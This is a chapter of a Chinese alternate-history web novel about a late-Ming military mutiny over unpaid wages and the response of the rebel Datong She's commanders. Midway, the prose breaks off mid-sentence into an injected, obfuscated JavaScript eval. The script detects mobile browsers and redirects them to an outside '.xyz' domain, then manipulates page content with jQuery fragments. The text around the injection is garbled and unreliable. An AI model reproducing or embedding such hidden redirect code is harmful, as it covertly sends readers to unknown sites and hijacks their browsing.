崇祯七年十一月十二日,湘阴县北六十里,归义驿。
天井里一片白色,套着厚厚棉甲的王允成走到廊檐下,眸子跟着屋檐的冰棱晃了晃,狠狠地砸在了地上。
院门打开,裹挟着血腥味的冷风扑打过来,几个满身血污的将官带着怒容快步走了进来。
“王将军,社贼越发猖獗了!”领头将官看着怒不可遏,“如今湘阴也不能去了,泥腿子跟不要命似的,给社贼报信,帮着社贼布置陷阱,离了官道,处处是敌!”
另一个将官也嚷嚷起来,“城里那帮鸟官也不当人!日他仙人板板!说到湘阴给我们补饷?饷银在哪?
“官府不给也就罢了,我们不就在巴陵征了点粮么?那帮狗官参我们滥杀无辜!老子哪天要饿死了,先宰了他们!”
众人忿忿不平,又有人说如今天寒地冻,取暖的炭火至今不见影,营中都有人冻死了。
“也是总爷贪得很!我可听说了,朝廷的饷银他留下了一半!”
有人突然提及邓玘,王允成顿时一惊,怒目过去。
那人却不以为意,看着众人都噤声看来,声音反倒更大了。
“总爷他晓得兵少,天气又冷了,打不下湘阴,又得应付朝廷的责问,便把我们放在前线受苦,自己与贾一选、周继先那帮人留在城里享福,当真可恨!”
这将官越说越起劲,“总爷哪次不是这样?只顾着自己,对我们刻薄得很!王将军,你心里当真不气?”
“狗日的说甚胡话!”王允成拔刀欲要砍去,“老子砍了你这个无法无天的蠢货!”
“王将军!”
几人上前阻拦,一人给了那将官一拳,“狗日的还不跪下,说这等大逆不道的话!”
那将官还在嘴硬,王允成破口大骂,挣开几人束缚,举着刀子就要砍下,却见门口又有两人着急忙慌地跑了进来。
“王将军,坏了,坏事了……”
王允成愣了片刻,胡乱骂了几句脏话,愈发烦躁,将刀重重地掷下,“将这厮关了,等着老子得空了收拾!”
那人犹不服气,“王将军,何必护着那姓邓的……”
几人忙将他嘴巴捂住,拉拉扯扯退到了角落,刚跑进来的两人被这场面吓住,畏畏缩缩地站在天井里一动不敢动。
王允成呵斥道,“不说话,还要老子请你两个讲么!”
两人身子一抖,一齐跪在地上大呼道,“王将军,新市……彭把总将新市……都杀了!”
院中霎时沉寂,安静得仿佛能听见雪落的声音,王允成身子晃了晃,眼睛瞪得铜铃大,似乎不敢相信。
正当此时,院落外不知为何闹了起来,王允成抬起脑袋,面色狰狞。
外面的声音渐渐清晰,竟是一阵又一阵的欢呼声。
又是几人又惊又疑又欢喜地跑了进来。
“王将军,彭把总带着人来发饷银了!”
王允成身子一晃,角落众人失神,手上没了力气,被擒住的将官当即挣脱束缚,跳了起来。
“王将军,事已至此,你也看清了军心。此时再不反,我们与姓彭的便是死路一条!”
“你找死!”
王允成冷眼扫过去,但说话的将官毫无畏惧之色。
将官身后几人,亦是神色各异,彼此眼神交流着,无一人上前拿下那放肆的将官。
一阵异响由远及近,院内众人纷纷看向门口,只见十余披甲人大迈步走了进来,面色红润,趾高气昂。
“王将军,邓玘那龟儿欺人太甚!我们忍气吞声,要被他吃得骨头都不剩!”①
……
湘阴县城北门大开,周怀名领着上百骑闯入鹅毛大雪中,雪地留下的蹄印很快被抚平,他们的身影亦在雪中若隐若现。
周怀名在午时前赶到了归义驿。
归义驿乃是长沙甚至南楚各州府北上要冲,以往商贾辐辏,车马络绎不绝,如今却成死地。
白雪覆盖僵硬的尸体,血迹却无处可寻。
近半骑士散开,入街市探查情况。
过了许久,赵得柏领着目光呆滞的三人到了周怀名面前。
“我们是大同社保家队!”周怀名大声说道,“归义驿……出了甚么事?”
三人眼神一颤,抬头看了周怀名好一会,赵得柏训斥的话已经到了嘴边,那三人却突然跪下,抽泣说道,“大同社的老爷,王游击叛了!”
周怀名心下一惊,下意识看向赵得柏,两人面面相觑。
现下南楚地界,只一个姓王的游击将军,即援剿总兵邓玘麾下游击王允成。
此人骑术精湛,几次领二三十骑深入长沙县境滋扰、劫掠。
周怀名现领一营保家队,下有大同社目前唯一一支骑兵连,他曾率骑兵连伏击入扰的王部骑兵,却被王允成打得毫无招架之力。
若非王允成害怕保家队步兵赶到,戏耍他们一阵便撤回归义驿,刚诞生的骑兵连恐怕就要毁在他手里了。
赵得柏只觉得匪夷所思,“王允成叛了?你们三个说甚胡话!莫以为大同社不喜杀人便能糊弄!”
“不敢!小的不敢!”三人声音发着颤大呼,不停地磕头,“两位老爷,当真是王游击叛了,否则除了大同社,哪来的兵马这么快攻破归义驿?”
周怀名朝赵得柏点了点头,后者一声冷哼,“你们老实交代,若有一句不实,呵呵!”
三人连忙表态,“小的不敢!”
他们你一嘴我一句,将王允成叛变原因和经过和盘托出。
周怀名听着听着便出了神,这三人说的与绣衣司收集的情报相差不大。
王允成之所以叛变,说来说去,还是钱粮二字。
江北各处用兵,楚省难以承担主客兵粮饷,尤其是大同社占据大部分南楚州府后,湖广官员已无可能筹措够各部官兵所需粮饷。
偏偏邓玘对下寡恩,上头拨给的粮饷越少,他拿得越多,生怕以后没钱拿了。
邓部入湘阴后,以剿贼名义四处劫掠,才勉强补发了部分粮饷。
但巴陵、湘阴、平江等县原本就养着王承祚手下的数千官兵、乡勇,邓玘便是将地皮刨了,也喂不饱手下三千人。
王允成之前胆敢深入长沙等县,说是为了探查敌情,其实也是为了抢钱抢粮。
只不过王部在长沙等处犯下众多罪行,反倒将许多中立乃至仇视大同社的士绅
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097471|159702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
、小地主推向了大同社这边。
大同社在长沙等县本无坚实的基层组织,如今有士绅地主相助,围剿伏击小股侵入的明军实在简单。
王部只能退回归义驿、新市等地,沿江布防。
日子久了,银钱用尽,将士怨气深重。
这时邓玘欲与抚州参将舒加庆合攻浏阳——当然,也或许是因潦浒河沿岸未被劫掠,他动了歪心思——是以粮草先行,大量辎重送至新市。
驻守新市的将士见到这么多粮食,心中不满,问运粮将官要粮饷,那将官哪里敢给。
一来二去矛盾激化,士卒哗然。
彭姓把总干脆一不做二不休,领着士卒抢了粮,将运粮将士全杀了,又裹挟新市乡勇到了归义驿,逼着王允成也叛了。
两部齐叛,将不从他们的乡勇民壮全给杀了,旋即北上。
“王允成这是不想反也得反了,不然死的就是他!”赵得柏嗤笑一声,“看看这大明,从上到下,从文官到武将,到处都是蠹虫和懦夫!”
周怀名叫人将幸存的三个乡勇带下去,望着北方茫茫的一条白线说道,“王部北上,是要先下手为强,趁着守军不知实情前夺下巴陵城。
“如此,该部方才有自保之力,才有与我社和明廷交涉的筹码。”
赵得柏却讥讽道,“筹码?这帮杀良冒功、淫污劫掠之徒,也配与我社谈筹码?”
周怀名还没回复,街市中的骑士又都聚拢过来,各处房屋又搜出十几个幸存者,想必是王部着急北上,有所遗漏。
他又问了几人,说的与此前三人大差不差。
“当真是大好机会!”赵得柏看着将士将人带下去,心中一动,但脸色又迅速黯淡,“你说社长怎么就看上了粤西?那里千山万岭,比得过湖广?”
他面露遗憾,“社长若在湘阴,或在这多放些乡勇,我们定能拿下巴陵。有了巴陵,说不定还能想望下武昌。那可是湖广省城,膏腴之地。”
“社长有她的谋算,你我安心守住湘阴等县,莫让明军打入湘潭便是。”周怀名淡然道,“王允成叛乱,总归是好事,且看邓玘如何应对。”
赵得柏摇头叹息,“若不是江西兵实在讨厌,光靠我们这几千人也能拿下巴陵。只能看着到嘴的鸭子飞了,当真可恨!”
“甚么到嘴的鸭子?”周怀名幽幽叹了一声,“你只知明廷不济、处处贪污,以致调兵拖沓、将怯兵弱。但我社又岂非没有问题?
“以不到半省之力供给四面大军,几乎到了极限。粮食、器械来得越来越慢,非是懈怠,而是运力不足,是生产跟不上消耗。
“各营将士,无论是保家队护乡队,还是乡勇队,乃至长沙衡州等前线州县的百姓,那根弦总是绷着,都有些疲倦。”
“即便没有江西兵,巴陵恐怕也拿不下。拿下,也守不住……”
赵得柏哼哼两声,“就算拿不下,至少趁着他们内斗,将邓玘这一部打残了……”
他还要说些甚么,却见南边有一骑顶着风雪疾驰过来。
“周营长!益阳急报,施州等卫与岳州、常德两府官兵以及永顺、施南等土司兵共计万余人已过龙阳,恐袭益阳、沅江!”